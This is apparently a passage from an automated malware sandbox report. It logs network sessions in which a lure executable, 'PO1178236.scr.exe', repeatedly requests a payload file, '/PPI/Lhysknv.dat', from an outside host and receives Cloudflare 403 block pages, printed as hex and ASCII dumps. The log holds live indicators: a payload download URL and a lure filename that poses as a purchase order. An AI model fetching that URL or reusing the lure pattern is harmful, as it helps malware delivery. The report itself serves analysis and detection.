63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a Data Ascii: m:text-left border-solid border-0 border-t border-gray-300"> <p class="text-13"> <span class="cf-footer-item sm:block sm:mb-1">Cloudflare Ray ID: <strong class="font-semibold">8ff2b741edae0dc7</strong></span> <span class="cf-footer-separator sm:
2025-01-09 07:29:22 UTC	1006	IN	Data Raw: 3e 0a 20 20 77 69 6e 64 6f 77 2e 5f 63 66 5f 74 72 61 6e 73 6c 61 74 69 6f 6e 20 3d 20 7b 7d 3b 0a 20 20 0a 20 20 0a 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 63 28 29 7b 76 61 72 20 62 3d 61 2e 63 6f 6e 74 65 6e 74 44 6f 63 75 6d 65 6e 74 7c 7c 61 2e 63 6f 6e 74 65 6e 74 57 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 3b 69 66 28 62 29 7b 76 61 72 20 64 3d 62 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 73 63 72 69 70 74 27 29 3b 64 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 77 69 6e 64 6f 77 2e 5f 5f 43 46 24 63 76 24 70 61 72 61 6d 73 3d 7b 72 3a 27 38 66 66 32 62 37 34 31 65 64 61 65 30 64 63 37 27 2c 74 3a 27 4d 54 63 7a 4e 6a 51 77 4e 7a 63 32 4d 69 34 77 4d 44 41 77 4d 44 41 3d Data Ascii: > window._cf_translation = {}; </script><script>(function(){function c(){var b=a.contentDocument\|\|a.contentWindow.document;if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'8ff2b741edae0dc7',t:'MTczNjQwNzc2Mi4wMDAwMDA=
2025-01-09 07:29:22 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
101	192.168.2.4	49888	188.114.96.3	443	7432	C:\Users\user\Desktop\PO1178236.scr.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 07:29:22 UTC	66	OUT	GET /PPI/Lhysknv.dat HTTP/1.1 Host: www.vascocorretora.com.br
2025-01-09 07:29:22 UTC	1005	IN	HTTP/1.1 403 Forbidden Date: Thu, 09 Jan 2025 07:29:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=15 Expires: Thu, 09 Jan 2025 07:29:37 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Ma9PvUMZJFB2vcYpOTp86kgx8X%2BOHvPEPzky1g2g9zvDC%2BIONmou3X30hHNMjFNwgobCaw3OJG0gta4Lb97OKBlsdiLT8HjJ0ANcVaLiwL9c1cGl7PDX%2B9ITwUUzYrAoQ3cFVdfKQz6HTJ6A"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} expect-ct: max-age=86400, enforce referrer-policy: same-origin x-content-type-options: nosniff x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block Server: cloudflare CF-RAY: 8ff2b745cedc433f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2382&min_rtt=2375&rtt_var=906&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2853&recv_bytes=704&delivery_rate=1197703&cwnd=222&unsent_bytes=0&cid=b080e2d471aaa630&ts=149&x=0"
2025-01-09 07:29:22 UTC	364	IN	Data Raw: 31 35 35 35 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 1555<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2025-01-09 07:29:22 UTC	1369	IN	Data Raw: 61 72 65 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 Data Ascii: are</title><meta charset="UTF-8" /><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=Edge" /><meta name="robots" content="noindex, nofollow" /><meta name="viewport" content="width=devi
2025-01-09 07:29:22 UTC	1369	IN	Data Raw: 66 2d 68 69 67 68 6c 69 67 68 74 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 77 72 61 70 70 65 72 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 63 6f 6e 74 61 69 6e 65 72 20 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 66 75 6c 6c 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 6e 6f 2d 73 63 72 65 65 6e 73 68 6f 74 20 65 72 72 6f 72 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 3c 2f 64 69 76 3e 3c 21 2d 2d 20 2f 2e 63 61 70 74 63 Data Ascii: f-highlight"> <div class="cf-wrapper"> <div class="cf-screenshot-container cf-screenshot-full"> <span class="cf-no-screenshot error"></span> </div> </div> </div>... /.captc
2025-01-09 07:29:22 UTC	1369	IN	Data Raw: 65 66 74 20 62 6f 72 64 65 72 2d 73 6f 6c 69 64 20 62 6f 72 64 65 72 2d 30 20 62 6f 72 64 65 72 2d 74 20 62 6f 72 64 65 72 2d 67 72 61 79 2d 33 30 30 22 3e 0a 20 20 3c 70 20 63 6c 61 73 73 3d 22 74 65 78 74 2d 31 33 22 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 43 6c 6f 75 64 66 6c 61 72 65 20 52 61 79 20 49 44 3a 20 3c 73 74 72 6f 6e 67 20 63 6c 61 73 73 3d 22 66 6f 6e 74 2d 73 65 6d 69 62 6f 6c 64 22 3e 38 66 66 32 62 37 34 35 63 65 64 63 34 33 33 66 3c 2f 73 74 72 6f 6e 67 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 64 64 65 6e 22 3e Data Ascii: eft border-solid border-0 border-t border-gray-300"> <p class="text-13"> <span class="cf-footer-item sm:block sm:mb-1">Cloudflare Ray ID: <strong class="font-semibold">8ff2b745cedc433f</strong></span> <span class="cf-footer-separator sm:hidden">
2025-01-09 07:29:22 UTC	998	IN	Data Raw: 6f 77 2e 5f 63 66 5f 74 72 61 6e 73 6c 61 74 69 6f 6e 20 3d 20 7b 7d 3b 0a 20 20 0a 20 20 0a 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 63 28 29 7b 76 61 72 20 62 3d 61 2e 63 6f 6e 74 65 6e 74 44 6f 63 75 6d 65 6e 74 7c 7c 61 2e 63 6f 6e 74 65 6e 74 57 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 3b 69 66 28 62 29 7b 76 61 72 20 64 3d 62 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 73 63 72 69 70 74 27 29 3b 64 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 77 69 6e 64 6f 77 2e 5f 5f 43 46 24 63 76 24 70 61 72 61 6d 73 3d 7b 72 3a 27 38 66 66 32 62 37 34 35 63 65 64 63 34 33 33 66 27 2c 74 3a 27 4d 54 63 7a 4e 6a 51 77 4e 7a 63 32 4d 69 34 77 4d 44 41 77 4d 44 41 3d 27 7d 3b 76 61 72 20 61 Data Ascii: ow._cf_translation = {}; </script><script>(function(){function c(){var b=a.contentDocument\|\|a.contentWindow.document;if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'8ff2b745cedc433f',t:'MTczNjQwNzc2Mi4wMDAwMDA='};var a
2025-01-09 07:29:22 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
102	192.168.2.4	49894	188.114.96.3	443	7432	C:\Users\user\Desktop\PO1178236.scr.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 07:29:23 UTC	66	OUT	GET /PPI/Lhysknv.dat HTTP/1.1 Host: www.vascocorretora.com.br
2025-01-09 07:29:23 UTC	1002	IN	HTTP/1.1 403 Forbidden Date: Thu, 09 Jan 2025 07:29:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=15 Expires: Thu, 09 Jan 2025 07:29:38 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=psQlSJ6rTbLfDsqs1qgzii8FDYCpSNwCk%2BpZyvrko1GnfiIPsuz8IESwVaSaRlKDUodGJoTc3VAy%2FmIS2BCaJ7v5n6iaLmBFkDznZu8QZefApsCJHOyM6wSxaUnpLxXzpNUUbCYD7aWAhVSP"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} expect-ct: max-age=86400, enforce referrer-policy: same-origin x-content-type-options: nosniff x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block Server: cloudflare CF-RAY: 8ff2b74968174387-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1550&min_rtt=1543&rtt_var=594&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2855&recv_bytes=704&delivery_rate=1818181&cwnd=76&unsent_bytes=0&cid=7ad3169f296bbafe&ts=134&x=0"
2025-01-09 07:29:23 UTC	367	IN	Data Raw: 31 35 35 35 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 1555<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2025-01-09 07:29:23 UTC	1369	IN	Data Raw: 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d Data Ascii: </title><meta charset="UTF-8" /><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=Edge" /><meta name="robots" content="noindex, nofollow" /><meta name="viewport" content="width=device-
2025-01-09 07:29:23 UTC	1369	IN	Data Raw: 69 67 68 6c 69 67 68 74 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 77 72 61 70 70 65 72 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 63 6f 6e 74 61 69 6e 65 72 20 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 66 75 6c 6c 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 6e 6f 2d 73 63 72 65 65 6e 73 68 6f 74 20 65 72 72 6f 72 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 3c 2f 64 69 76 3e 3c 21 2d 2d 20 2f 2e 63 61 70 74 63 68 61 2d Data Ascii: ighlight"> <div class="cf-wrapper"> <div class="cf-screenshot-container cf-screenshot-full"> <span class="cf-no-screenshot error"></span> </div> </div> </div>... /.captcha-
2025-01-09 07:29:23 UTC	1369	IN	Data Raw: 20 62 6f 72 64 65 72 2d 73 6f 6c 69 64 20 62 6f 72 64 65 72 2d 30 20 62 6f 72 64 65 72 2d 74 20 62 6f 72 64 65 72 2d 67 72 61 79 2d 33 30 30 22 3e 0a 20 20 3c 70 20 63 6c 61 73 73 3d 22 74 65 78 74 2d 31 33 22 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 43 6c 6f 75 64 66 6c 61 72 65 20 52 61 79 20 49 44 3a 20 3c 73 74 72 6f 6e 67 20 63 6c 61 73 73 3d 22 66 6f 6e 74 2d 73 65 6d 69 62 6f 6c 64 22 3e 38 66 66 32 62 37 34 39 36 38 31 37 34 33 38 37 3c 2f 73 74 72 6f 6e 67 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 64 64 65 6e 22 3e 26 62 75 Data Ascii: border-solid border-0 border-t border-gray-300"> <p class="text-13"> <span class="cf-footer-item sm:block sm:mb-1">Cloudflare Ray ID: <strong class="font-semibold">8ff2b74968174387</strong></span> <span class="cf-footer-separator sm:hidden">&bu
2025-01-09 07:29:23 UTC	995	IN	Data Raw: 5f 63 66 5f 74 72 61 6e 73 6c 61 74 69 6f 6e 20 3d 20 7b 7d 3b 0a 20 20 0a 20 20 0a 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 63 28 29 7b 76 61 72 20 62 3d 61 2e 63 6f 6e 74 65 6e 74 44 6f 63 75 6d 65 6e 74 7c 7c 61 2e 63 6f 6e 74 65 6e 74 57 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 3b 69 66 28 62 29 7b 76 61 72 20 64 3d 62 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 73 63 72 69 70 74 27 29 3b 64 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 77 69 6e 64 6f 77 2e 5f 5f 43 46 24 63 76 24 70 61 72 61 6d 73 3d 7b 72 3a 27 38 66 66 32 62 37 34 39 36 38 31 37 34 33 38 37 27 2c 74 3a 27 4d 54 63 7a 4e 6a 51 77 4e 7a 63 32 4d 79 34 77 4d 44 41 77 4d 44 41 3d 27 7d 3b 76 61 72 20 61 3d 64 6f Data Ascii: _cf_translation = {}; </script><script>(function(){function c(){var b=a.contentDocument\|\|a.contentWindow.document;if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'8ff2b74968174387',t:'MTczNjQwNzc2My4wMDAwMDA='};var a=do
2025-01-09 07:29:23 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
103	192.168.2.4	49896	188.114.96.3	443	7432	C:\Users\user\Desktop\PO1178236.scr.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 07:29:23 UTC	66	OUT	GET /PPI/Lhysknv.dat HTTP/1.1 Host: www.vascocorretora.com.br
2025-01-09 07:29:24 UTC	1003	IN	HTTP/1.1 403 Forbidden Date: Thu, 09 Jan 2025 07:29:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=15 Expires: Thu, 09 Jan 2025 07:29:39 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=sAk%2BKnvBe%2FnSs4DceFUphIdThHttlWpyGQVzqAXMSMK045L0XKx678Nzn72bvXMzhSodnca4HGtnL23WDDbdXs6iQoNTOCKZNDddARwrbaE787vvy2Q24Y2q9qC4Qig0hl519UuiHYaxOs9u"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} expect-ct: max-age=86400, enforce referrer-policy: same-origin x-content-type-options: nosniff x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block Server: cloudflare CF-RAY: 8ff2b74d2e588c1b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1980&min_rtt=1978&rtt_var=747&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1460000&cwnd=215&unsent_bytes=0&cid=f46b6d85b20529d1&ts=136&x=0"
2025-01-09 07:29:24 UTC	366	IN	Data Raw: 31 35 35 35 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 1555<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2025-01-09 07:29:24 UTC	1369	IN	Data Raw: 65 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 Data Ascii: e</title><meta charset="UTF-8" /><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=Edge" /><meta name="robots" content="noindex, nofollow" /><meta name="viewport" content="width=device
2025-01-09 07:29:24 UTC	1369	IN	Data Raw: 68 69 67 68 6c 69 67 68 74 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 77 72 61 70 70 65 72 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 63 6f 6e 74 61 69 6e 65 72 20 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 66 75 6c 6c 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 6e 6f 2d 73 63 72 65 65 6e 73 68 6f 74 20 65 72 72 6f 72 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 3c 2f 64 69 76 3e 3c 21 2d 2d 20 2f 2e 63 61 70 74 63 68 61 Data Ascii: highlight"> <div class="cf-wrapper"> <div class="cf-screenshot-container cf-screenshot-full"> <span class="cf-no-screenshot error"></span> </div> </div> </div>... /.captcha
2025-01-09 07:29:24 UTC	1369	IN	Data Raw: 74 20 62 6f 72 64 65 72 2d 73 6f 6c 69 64 20 62 6f 72 64 65 72 2d 30 20 62 6f 72 64 65 72 2d 74 20 62 6f 72 64 65 72 2d 67 72 61 79 2d 33 30 30 22 3e 0a 20 20 3c 70 20 63 6c 61 73 73 3d 22 74 65 78 74 2d 31 33 22 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 43 6c 6f 75 64 66 6c 61 72 65 20 52 61 79 20 49 44 3a 20 3c 73 74 72 6f 6e 67 20 63 6c 61 73 73 3d 22 66 6f 6e 74 2d 73 65 6d 69 62 6f 6c 64 22 3e 38 66 66 32 62 37 34 64 32 65 35 38 38 63 31 62 3c 2f 73 74 72 6f 6e 67 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 64 64 65 6e 22 3e 26 62 Data Ascii: t border-solid border-0 border-t border-gray-300"> <p class="text-13"> <span class="cf-footer-item sm:block sm:mb-1">Cloudflare Ray ID: <strong class="font-semibold">8ff2b74d2e588c1b</strong></span> <span class="cf-footer-separator sm:hidden">&b
2025-01-09 07:29:24 UTC	996	IN	Data Raw: 2e 5f 63 66 5f 74 72 61 6e 73 6c 61 74 69 6f 6e 20 3d 20 7b 7d 3b 0a 20 20 0a 20 20 0a 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 63 28 29 7b 76 61 72 20 62 3d 61 2e 63 6f 6e 74 65 6e 74 44 6f 63 75 6d 65 6e 74 7c 7c 61 2e 63 6f 6e 74 65 6e 74 57 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 3b 69 66 28 62 29 7b 76 61 72 20 64 3d 62 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 73 63 72 69 70 74 27 29 3b 64 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 77 69 6e 64 6f 77 2e 5f 5f 43 46 24 63 76 24 70 61 72 61 6d 73 3d 7b 72 3a 27 38 66 66 32 62 37 34 64 32 65 35 38 38 63 31 62 27 2c 74 3a 27 4d 54 63 7a 4e 6a 51 77 4e 7a 63 32 4e 43 34 77 4d 44 41 77 4d 44 41 3d 27 7d 3b 76 61 72 20 61 3d 64 Data Ascii: ._cf_translation = {}; </script><script>(function(){function c(){var b=a.contentDocument\|\|a.contentWindow.document;if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'8ff2b74d2e588c1b',t:'MTczNjQwNzc2NC4wMDAwMDA='};var a=d
2025-01-09 07:29:24 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
104	192.168.2.4	49902	188.114.96.3	443	7432	C:\Users\user\Desktop\PO1178236.scr.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 07:29:24 UTC	66	OUT	GET /PPI/Lhysknv.dat HTTP/1.1 Host: www.vascocorretora.com.br
